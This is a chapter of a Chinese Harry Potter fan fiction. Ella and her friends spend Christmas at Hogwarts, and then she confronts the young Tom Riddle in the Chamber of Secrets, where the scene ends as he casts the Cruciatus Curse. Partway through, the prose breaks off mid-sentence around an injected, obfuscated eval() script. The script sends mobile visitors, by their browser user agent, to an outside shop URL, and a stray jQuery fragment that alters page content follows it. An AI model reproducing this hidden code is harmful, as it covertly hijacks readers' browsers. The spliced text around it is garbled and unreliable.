尽管前一天的平安夜混乱不堪,但圣诞节的当天大家依然很快活。我送出了一大堆礼物也收到了一大堆礼物。大概唯一不快活的就是我的钱包吧。里德尔一如既往地喜欢在这种节假日时间送我一些很贵、我压根就没办法送对等价值的礼物,因而我也如过去一般送他乱七八糟的东西。
圣诞节的这一天也下了很大的雪,从窗外看整个世界都是雪白一片,黑湖的表面结了一层薄薄的冰。这场雪比过去几天的都要大,城堡外头已经积了厚厚的一层雪,大概踩一脚可以没过鞋面。因而公共休息室的火炉烧得格外旺,几乎让我们想赖在这里不离开了。
只不过再怎么样人还是要吃饭的呀!
吃过午饭,玛格丽特就拽着我们到城堡外头,兴奋道:“我们来堆雪人吧!”
她呼出的白雾一团接着一团,似乎觉得好玩,于是故意哈出几团,雾气飘到离得最近的梅根脸上,让她的眼镜顿时变得白茫茫一片。
梅根:“……”
“玛格丽特·格林,”她面无表情地说道,“我们来打雪仗一决胜负吧!”真正想赢的人脸上是没有笑容的!假如她的眼镜不是全白的话那应该看起来很酷。(是的不过这次是因为她自己说话时产生的雾气)
一场莫名其妙的雪球大战再度拉开帷幕,就像麻瓜们一样,战争就这样因为一些奇怪的原因爆发了。
我自动加入了玛格丽特的队伍,罗斯则和梅根一起,我们双方各自在掩体之下,时不时探头然后扔出我们的雪球。
“哦!”然后重击了刚出院的比尔利教授。
站在他边上的邓布利多教授看起来兴致勃勃,月初时他也曾短暂地加入过第一次霍格沃茨雪球大战,只不过由于当时他马上还要去上课,因而很快离场了,而现在,这可是圣诞节假期!
于是第二次霍格沃茨雪球大战加入了两位教授。
显然二战(我是说雪球大战)的威力非常之大,战火已经蔓延到了几乎每一个留校的巫师身上,甚至有一个我不认识的低年级斯莱特林小女巫也加入了这场大混战,每一个人都发狠了忘情了,但作为战争发起者的我们几个人已经悄摸离开了战火中心,跑到不远处岁月静好去了。
“也太累了。”死宅的本人表示,得到了同为死宅的杰克逊女士的赞同。
“我们还是堆雪人吧。” 玛格丽特呼了一口气说。
于是我们回归初心,每个人都如同在养老院安享晚年的老太太一般心平气和地开始堆雪人。
玛格丽特正在滚一个雷霆巨无霸大的雪球,以她目前这个滚得有她膝盖高的雪球来看,她大概还要好一会。
我的堆雪人技术有些惨不忍睹,两个歪七扭八的东西立在地上,我想了想,捡了根树枝打算画个脸蛋上去。
嗯……看起来有鼻子有眼的,就是看起来像没头脑和不高兴。
“怎么堆了两个?”已经滚出半人高雪球的推土机玛格丽特女士路过,并发出提问。
“我闲的。”看到她脸上的表情我就知道她正在自动脑补嗑点了,于是严肃发表割席言论,“这是我随便堆的我可没说这是有现实原型的哦!”
“嘁嘁。”玛格丽特发出不屑的声音,一脸鄙夷地推着她的大雪球离开了。嗯……该说不说,她努力推着雪球的背影让我幻视某种生物……
如果要给我们四个人的雪人分类的话,那么我的属于幼儿园小孩级别的不知道在乱堆什么,玛格丽特属于不卷质量只卷大小类型,梅根则是典型的考究党,她堆的这个雪人非常之标准,就是、呃、“标准雪人”。至于罗斯,她大概是我们之中唯一一位艺术家,短短的时间里她已经堆出了四个惟妙惟肖的雪人,正是我们四个。
“艺术大师。”我们齐齐比了个大拇指恭维她。
“呵呵呵呵呵……”罗斯叉着腰发出矜持克制但似乎也并非如此(甚至有点邪恶)的笑声。
*
圣诞节晚宴是假期里重要的一环,玛格丽特她们都是第一次在圣诞节期间留校,因而兴致勃勃的。不过这是我第五年留校了,圣诞节晚宴再怎么样也不会翻出花来,除非突然给我做了个满汉全席。
晚宴时间我才后知后觉想起来有什么事情被我遗忘,还是件非常重要的事情——我发现追踪咒失效了。
在前天,也就是平安夜的前一天我还感受过,追踪咒是好的,也就是说要么是昨天要么是今早,这个咒语失效了。
平安夜太过混乱,以至于我都忘记要去查看里德尔的踪迹,但万一他就在我不注意的时候悄悄干什么坏事呢?我几乎一下子有点坐立难安味同嚼蜡了。
今晚我得去二楼的女盥洗室巡查一番。
阿尔法德·布莱克先前送我的那件隐形衣算是派上了用场,看着这份上我决定等他生日稍微送他好一点的礼物吧。
圣诞节假期期间霍格沃茨没有多少学生,因而也没什么人巡夜,大概也就普里特一个人了,但很显然,他一个人可没办法监视整个城堡,所以在避开了他的巡逻线路之后,我这一路上没有碰上任何东西,平安无事地来到了二楼。
在来的路上我思考了很多,但最终也思考不出什么结果。我自己都不愿承认,其实我内心深处仍抱着一丝期盼或者说是妄想,或许里德尔不会这么做呢?
但很显然这也只是我的妄想。
女盥洗室看起来很整洁,毕竟这里不像后来一样有一个幽灵桃金娘在这儿。但很可惜,我一进来就看了那个洞口。
那黑漆漆的管道、密室的入口……就这样门户大开着。
我不知道该如何描述我当下的心情,痛苦吗?失望吗?愤怒吗?或许吧,但却又有一种果然如此的尘埃落定感。
毕竟我也不是什么同人文里面的小太阳女主可以把邪恶黑魔头给感化了,哈哈。
漆黑的管道入口就像是潘多拉的魔盒一样,正向我发出邀请。又或者说,这是里德尔在向我发出邀请。
他为什么不把入口关了?是知道我会来?但眼下我也顾不得思考什么,身体先于理智进行了行动,等我回过神来,我的手已经搭在了管道边缘,正准备往下跳。
好吧好吧,You jump I jump,这也算是少年jump了吧?
我不知道自己是哪来的勇气准备往下跳的。或许是想要一个答案,或许是想质问什么,又或许只是想亲眼见证这一切然后死心。我不愿承认事到如今我还在期望他能够放弃这些。
按理来说但凡站在这里的是一个正常人,更应该做的是转身离开然后跑去邓布利多教授的办公室把他拽起来让他来解决黑魔王幼年体的事情。但站在这里的是我,黑魔王的青梅。
我一咬牙,直接往里一跳。
向下倾斜的漫长的管道,这管道比我想象的还要长,我几乎是滑着坠落的,隐形衣被我塞回了口袋里,袍子在管壁上时不时摩擦,偶尔还有几块石头硌得我龇牙咧嘴,难道里德尔也是这样下来的吗?萨拉查·斯莱特林为什么不把路修得平一些,实在不行安个电梯呢?
大约几分钟,也可能更久,我终于回到了地面,脚下踩着坚实的土地,嗅到的是潮湿的、阴冷的、略带一丝腥气的空气。
密室。
十几年前我也曾来过这里——作为人质——但那时候我并没有仔细看过这地方。斯莱特林的密室很大,石柱高耸入顶,我往前走着,鞋底偶尔会踩到浅浅的积水潭,溅起一点水花。
密室的尽头,萨拉查·斯莱特林的雕像立在那里。面容在昏暗的光线下显得阴森而威严。我抬头注视了一会。这里没有人。是里德尔已经离开了?还是说……
脚步声从我身后传来。从容的、不紧不慢的。
我转过身。
里德尔站在我身后的几步开外,手里拿着魔杖,姿态很随意,假如不是见面的地点不对的话或许我们还会打个招呼。
里德尔笑了起来,就好像这里不是密室而是什么非常友好的场合一样:“晚上好,艾拉。”看来对他来说这地点并没有什么不对的。
他的笑声经过空旷密
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863785|208367||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
室的回声显得格外神经质,更多的让我幻视那个可怕的蛇脸男。小汤啊,答应我咱们不搞魂器了,就当是为了你的脸。
“我真的很好奇,你是什么时候发现密室的?”平静的、从容的、带着一种几乎可以称为愉悦的语调。
我默不作声。里德尔似乎也并不在意,自顾自地继续发问:“当然,你的追踪咒很精妙,也很有趣。艾拉,你的魔咒水平比你想象的要更好。”哪怕到了这时候,他说话的语气却依然像是我们正在复习一样,轻松的、无关紧要的。
这几乎令我愤怒。
“你什么时候发现的。”我说,“追踪咒。”
“大概第二天?第三天?”黑魔王歪了歪头说,“哦,这并不是你的问题,艾拉,你的魔咒值得一个O,你只是……低估了我对我所有物的敏锐性。”他听起来格外愉悦。
草。这种时候还要拉踩我一脚吗。可恶的里德尔。
他并不在意我的防备,自顾自地又继续轻声说着:“当然,我更好奇的是,你是从什么时候开始防备我的?”
他的语气近乎撒娇,如同当年在孤儿院要求我不得离开他时一样,但说出的内容却让我遍体发寒:“为什么我看不见你在想什么?”
“我亲爱的艾拉,你怎么能这样对我呢?”名为里德尔的毒蛇亲密地抱怨着。毒蛇缠绕住了我的脖颈,在我耳边嘶嘶地吐着蛇信子,带毒的尖牙则瞄准了我的颈侧,只准备趁我不注意咬上一口。
这神经病肯定对我用了无声无息的摄魂取念。而我居然一点都没发觉。但这更让我脊背发凉,这是否意味着他早就这样做过了?在我们并肩的时候,在我们复习的时候,或许他表面上无事发生,但一直都在试图撬开我的脑子好看看我究竟在想什么?
好在他一无所获。
他朝我走近了一步,我没有后退。脚下的积水倒映着我们两个人的轮廓,模糊的、变形的,像两团扭曲在一起的影子。
“所以你一直知道我在干什么是吗?”我哑声问。
“第一次巡夜的时候。”里德尔说,语气里甚至有一丝温和的责备,“艾拉,虽然你的幻身咒很熟练,但你的脚步声太重了。我当时就在想,艾拉,你究竟是为什么要这样做呢?”
他那双幽黑的眸子注视着我。好像是在等待我给出一个答案,又好像并不在意答案本身。
“……我不能告诉你。”我艰难地说。
这句话说出来的瞬间,里德尔嘴角那点笑意便消失了。
“你总是这样。”他看着我的眼神太过锐利,有什么东西在里面燃烧着,令我不得不移开了视线,“你从来都不信任我,艾拉。”
我不知道这是他的一场关于道德绑架的表演还是出于他那点少得可怜的真心。我们的生命纠葛了太久,恨也好爱也好,或许都有也或许都没有。唯独信任,我确实从未真正信任过他,可要我如何去相信这样的一个人?我熟知他的命运与本性,而命运又是最难以捉摸也最难以更改的东西。当他这样质问我时,我甚至都不知道他是否有曾信任过我。
“你让我怎么信任你。”我终于说了出来,声音在密室里响起,带着一丝微弱的回声,“汤姆。我们现在就站在密室里,站在萨拉查·斯莱特林的雕像之下。你究竟要干什么?我能够相信你吗?”
里德尔沉默着。他深色的眼睛就像两潭死水一样幽暗。他偏了偏头,声音又恢复了那种令人毛骨悚然的温和:“你说得对,艾拉,我不值得你的信任。”
他的魔杖尖指着我。
我的大脑一片空白,但身体快过于思考——我也举起了魔杖。我们两个人的杖尖隔空相对,水面在我们之间静静地铺展开,倒映着我们各自模糊的影子,魔杖像是两柄交叉的剑缠绕交织。
“艾拉。”里德尔轻声说,“你真的决定要阻止我吗。”
我没有说话。但或许我举起的魔杖本身就是答案。
他看着我,最后笑了下。一个几乎没有任何温度的笑容。
“——钻心剜骨。”